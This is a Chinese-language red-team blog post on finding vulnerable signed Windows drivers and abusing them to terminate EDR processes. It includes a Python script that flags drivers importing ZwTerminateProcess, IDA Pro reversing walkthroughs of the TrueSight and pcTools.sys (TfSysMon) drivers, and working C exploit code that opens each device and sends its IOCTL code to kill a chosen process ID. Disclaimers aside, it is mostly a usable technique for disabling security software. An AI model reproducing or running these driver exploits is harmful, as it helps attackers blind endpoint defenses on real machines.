文章总结: 本文阐述了挖掘利用易受攻击驱动程序终止EDR进程的技术方法。核心在于利用合法签名驱动漏洞,通过IOCTL通信调用内核函数绕过防护。文章详细介绍了使用IDAPRO与Python脚本识别风险驱动的技巧,包括定位关键内核函数及检测隐藏导入。通过两个实战案例,完整展示了逆向分析驱动、定位控制码、获取设备名及编写利用代码的过程,为红队提供了一种绕过EDR自我保护的可操作技术路径。
综合评分: 91
文章分类: 红队,逆向分析,漏洞分析,渗透测试
EDR Killing 如何挖掘?
原创
kernel
kernel
Relay学安全
2026年2月12日 11:53
陕西
免责声明
本文所有内容仅供网络安全学习与研究之用,旨在提升安全意识、探讨防御技术。读者必须承诺并保证仅将所述知识用于合法、授权的环境。
严禁任何个人或组织将本文提及的任何技术、方法或工具用于任何非法入侵、破坏、窃取数据等恶意活动。由此产生的任何直接或间接法律责任及后果均由行为人自行承担,与本文作者及发布平台无关。
作者力求内容准确,但技术发展迅速,本文不提供任何明示或暗示的担保。读者应在模拟环境或已获得明确授权的目标中进行实践。
#
简介
攻击者利用合法且存在漏洞的驱动程序来禁用安全进程,加载EDR组件以及删除系统保护。这种技术允许攻击者绕过防止传统进程终止方法的自我保护机制。
虽然内核驱动程序必须通过Windows硬件质量实验室的认证,并使用受微软信任的签名,才能在启用了驱动程序签名强制机制的现代Windows版本上加载。
但是攻击者会利用合法厂商已经签名且存在漏洞的驱动程序在内核模式下执行恶意操作。
这些存在漏洞的驱动程序大部分情况下会使用ZwOpenProcess内核函数来打开一个具有指定访问权限的进程句柄,比如PROCESS_TERMINATE权限,并使用ZwTerminateProcess内核函数来终止进程。
这类有漏洞的驱动程序中使用到了IoCreateDevice函数来初始化设备对象,如果该设备对象的安全描述符未正确设置,那么任何应用程序都可以通过符号链接来与驱动程序进行交互。
还有一个特性是IOCTL控制码,IOCTL是应用程序和驱动程序通信的机制,IOCTL中定义了内核驱动程序可以执行的操作。存在漏洞的驱动程序可能暴露一些IOCTL。允许在没有验证的情况下执行某些操作。
最后一个特性是: 这类驱动程序大多数都是安全软件的驱动程序,它们在高特权级别运行,用于终止其他受保护的进程,拦截进程创建和其他内核回调。
如下图中展示了应用程序和Killer.sys驱动程序进行的通信。首先在应用程序代码中调用了DeviceIoControl函数,然后传递了其控制码以及在输入缓冲区中传递了进程PID值。
下一步则是调用到NTDLL.DLL模块中的NtDeviceIoControlFile函数,在其中执行syscall指令以从用户模式切换到内核模式。
然后调用内核的NtDeviceIoControlFile函数,进入内核后,I/O管理器会创建一个IRP的输入输出请求包结构,该IRP中包含了用户模式必要的数据,包括IRP参数中的IOCTL代码,以及用户想要终止的进程PID。
然后I/O管理器将其IRP发送给驱动程序,驱动程序接收到之后,来到对应的派遣函数,然后在派遣函数中判断控制码是否等于传递过来的IOCTL控制码,如果是的话则调用打开该进程ID的句柄,然后结束掉该进程。
所以如果要识别一个可以结束进程的驱动程序,可以一直关注杀毒软件或EDR中的驱动程序。因为它们使用ZwTerminateProcess来终止恶意进程。
我们可以通过CFF Explorer来分析某个驱动程序的导入表,查看该导入表中是否导入了内核模块的ZwTerminateProcess函数。
例如如下驱动程序就导入了ZwTerminateProcess函数。
这样一个一个去看太麻烦了,所以这里有一个脚本用于查看这些驱动程序中是否导入了ZwTerminateProcess函数。
import osimport sysimport pefile
def check_driver_imports(folder_path): # ANSI escape codes for colors RED = '\033[91m' WHITE = '\033[97m' RESET = '\033[0m'
# Check each file in the specified directory for filename in os.listdir(folder_path): filepath = os.path.join(folder_path, filename) if os.path.isfile(filepath): try: pe = pefile.PE(filepath) has_zwterminateprocess = False
# Check if the PE file imports from ntoskrnl.exe for entry in pe.DIRECTORY_ENTRY_IMPORT: if entry.dll.decode().lower() == 'ntoskrnl.exe': # Check each imported function for function in entry.imports: if function.name is not None: if function.name.decode() == 'ZwTerminateProcess': has_zwterminateprocess = True
if has_zwterminateprocess: print(f"{RED}{filename} imports ZwTerminateProcess from ntoskrnl.exe{RESET}") else: print(f"{WHITE}{filename} does not import ZwTerminateProcess from ntoskrnl.exe{RESET}")
except Exception as e: pass
if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python script.py <path_to_folder>") sys.exit(1) folder_path = sys.argv[1] check_driver_imports(folder_path)
可以看到显示红色的都是导入了内核的ZwTerminateProcess函数的。
需要注意的是一些没有导入ZwTerminateProcess函数的也可能存在结束掉进程的功能,这些导入的函数可能被隐藏掉了。驱动程序可能会使用MmGetSystemRoutineAddress函数来隐藏其导入的函数。
因此你可以通过手动逆向分析来查找MmGetSystemRoutineAddress函数的调用,或者使用CFF Explorer查找该函数。
MmGetSystemRoutineAddress函数使用一个包含函数名称的Unicode字符串的指针作为参数来获取其函数的地址,这类似于R3层的GetProcAddress函数。
识别潜在终止进程驱动程序
当识别出可能是终止进程的驱动程序后,下一步则是通过IDA PRO来对其进行分析,在IDA PRO中搜索ZwTerminateProcess函数,尽量使用IDA PRO付费版本,因为其中预定义了很多内核数据结构。
所以通过IDA PRO打开驱动程序后,来到导入表中搜索ZwTerminateProcess函数。然后将光标置于ZwTerminateProcess上,按下x键来分析调用它的函数,例如追踪从设置句柄到触发进程终止的代码路径,最终定位到处理特定IOCTL请求的函数。
寻找处理IOCTL的函数,并检其用户数据,例如通过ZwOpenProcess打开句柄,然后将该句柄传递给ZwTerminateProcess函数。然后继续使用交叉引用功能,直到找到驱动入口函数,同时设备名称以及设备链接通常也定义在驱动入口中,通常回溯ZwTerminateProcess函数交叉引用,可以定位到驱动入口处的IoCreateDevice和IoCreateSymbolicLink调用,从而获取到链接名。
获取到链接名后用户层应用程序就可以和驱动程序来进行交互了。
现在让我们打开IDA PRO. 来到导入表这里搜索ZwTerminateProcess函数。
按下x键查看交叉引用。发现有一处地方调用该函数,我们跟进。
F5查看伪代码,可以看到通过zwOpenProcess函数来打开进程的句柄,而进程的Pid是通过ClientId.UniqueProcess传过来的。
而该值是Zwterminate函数的参数。
所以继续按下X键来看哪里调用了Zwterminate函数。发现在sub_140001690+15的位置调用了该函数,跟进。
可以看到这里有一个判断是如果a2的值大于4的话,那么就调用结束进程的函数,并将进程ID传递进去。
我们看一下哪里调用了sub_140001690函数。
可以看到这里有点熟悉了,这里似乎是判断控制码的地方。
可以看到这里就和之前逆向驱动时是一样的了。这里要对其进行转换。
转换成这样就可以看的懂了。
这里会进行判断控制码如果等于0x22E044的话,那么就调用TerminateProcess函数来结束掉该进程。
那么这里其实传递进去的值就一目了然了,第一个参数是系统缓冲区中的值,然后第二个参数是缓冲区的大小,该函数会判断缓冲区的大小不能4,也就是必须大于或等于4.
现在还有一个问题就是符号链接我们该写什么,符号链接是用于层和驱动程序交互的媒介。所以我们还需要去看看是谁调用了该派遣函数。
可以看到我们得到符号链接名称为: \\DosDevices\\TrueSight。
所以我们可以构造如下的驱动代码:
#include <windows.h>#include <stdio.h>
//首先定义控制码#define IOCTL_SEND_DATA 0x22E044
//定义一个缓冲区大小为64字节的typedef struct _DataBuffer { DWORD Numer;}DataBuffer;int main(){//打开驱动设备句柄 HANDLE hFileDevice = CreateFileA("\\\\.\\TrueSight",GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL); DataBuffer dataBuffer = { 0 }; dataBuffer.Numer = 2324;
DWORD ByteReturnLen = 0; DeviceIoControl(hFileDevice, IOCTL_SEND_DATA, &dataBuffer, sizeof(dataBuffer), &dataBuffer, sizeof(dataBuffer), &ByteReturnLen, NULL);
}
比如我们要结束掉Notepad.exe进程。
识别潜在终止进程驱动程序2
这里看一个其他的驱动程序,名为: pcTools.sys程序。可以看到该驱动的签名情况。
我们定位到其DriverEntry函数这里,查看该驱动程序上面的驱动程序哪里不同。我们发现在pcTools.sys驱动程序中并没有卸载例程的函数,这意味着我们如果使用sc stop命令尝试停止驱动服务将失败。
这里可以尝试一下:
所以如果想要卸载该驱动,那么就需要重启机器,然后删除该驱动服务即可。
现在来分析一下该驱动程序,首先定位到派遣函数数组的第14项这里,对应的则是设备I/O请求。这是一个当用户模式执行设备I/O控制请求时会触发的函数。
然后在导入表中搜索: ZwTerminateProcess函数。按下X键查看该函数从哪里被调用。
跟进sub_1837C+98这个地址,并按下F5查看伪代码。
我们可以看到ZwTerminateProcess函数中的进程句柄是通过zwOpenProcess函数来得到的。而在ZwOpenProcess函数中的最后一个参数则是进程ID。ClientId的值是通过v3变量得到的,而v3变量则是通过a1变量偏移4个字节获取到的。这个a1极有可能就是systemBuffer。
MmIsAddressValid函数是判断当前给定的虚拟地址是否可以正常访问。
所以现在需要看一下当前函数在哪里被调用了。可以看到在sub_177D8+7E2的位置被调用了。
跟进之后,发现该代码是有点乱的。这里似乎是判断IOCTL控制码的地方,这里还判断了v9。向上追溯看一下v9是什么东西。
我们发现v9来自于a2+16的地方。
查看该函数在哪里被调用了。这里得知传递进来的第二个参数是CurrentStackLocation,是当前的IRP堆栈,而它的类型是_IO_STACK_LOCATION。
那么这里就清楚了,将其类型和名字进行替换。
替换之后发现这里就一目了然了,再次进行替换。
替换后:
再看这里就一目了然了,首先判断输入缓冲区的大小必须大于24个字节(16进制为0x18),然后调用结束进程函数,其中的0xB4A00404是IOCTL控制码。
那么现在还缺一个链接名称,直接往前回溯即可。得到链接名称为: TfSysMon。
那么就可以构造用户层的代码了。首先输入缓冲区的大小必须要大于24个字节,其次PID的值一定要在4字节后的位置。
#include <Windows.h>#include <stdio.h>
#define IOCTL_SEND_DATA_CODE 0xB4A00404typedef struct _CHECK_PROCESS_INPUT { BYTE Pad[4]; DWORD ProcessId; // 进程ID BYTE Pad1[8]; BYTE Pad2[8]; BYTE Pad3[8];} CHECK_PROCESS_INPUT;int main(){ HANDLE FileHandler = CreateFileA("\\\\.\\TfSysMon", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE,NULL, OPEN_EXISTING,0,NULL);//判断是否成功获取到设备句柄 如果成功获取到设备句柄 则定义要发送给驱动程序的数据if (FileHandler == INVALID_HANDLE_VALUE) {printf("Faild to open the device Error code: %d\n", GetLastError()); }
CHECK_PROCESS_INPUT buffer = { 0 }; buffer.ProcessId = 3220; DWORD bytesReturned = NULL; BOOL success = DeviceIoControl( FileHandler, //设备句柄 IOCTL_SEND_DATA_CODE, //IO控制代码 &buffer, //要发送给驱动程序的数据sizeof(buffer), //要发送给驱动程序数据的大小NULL,0, &bytesReturned,NULL );}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Relay学安全 kernel
kernel《EDR Killing 如何挖掘?》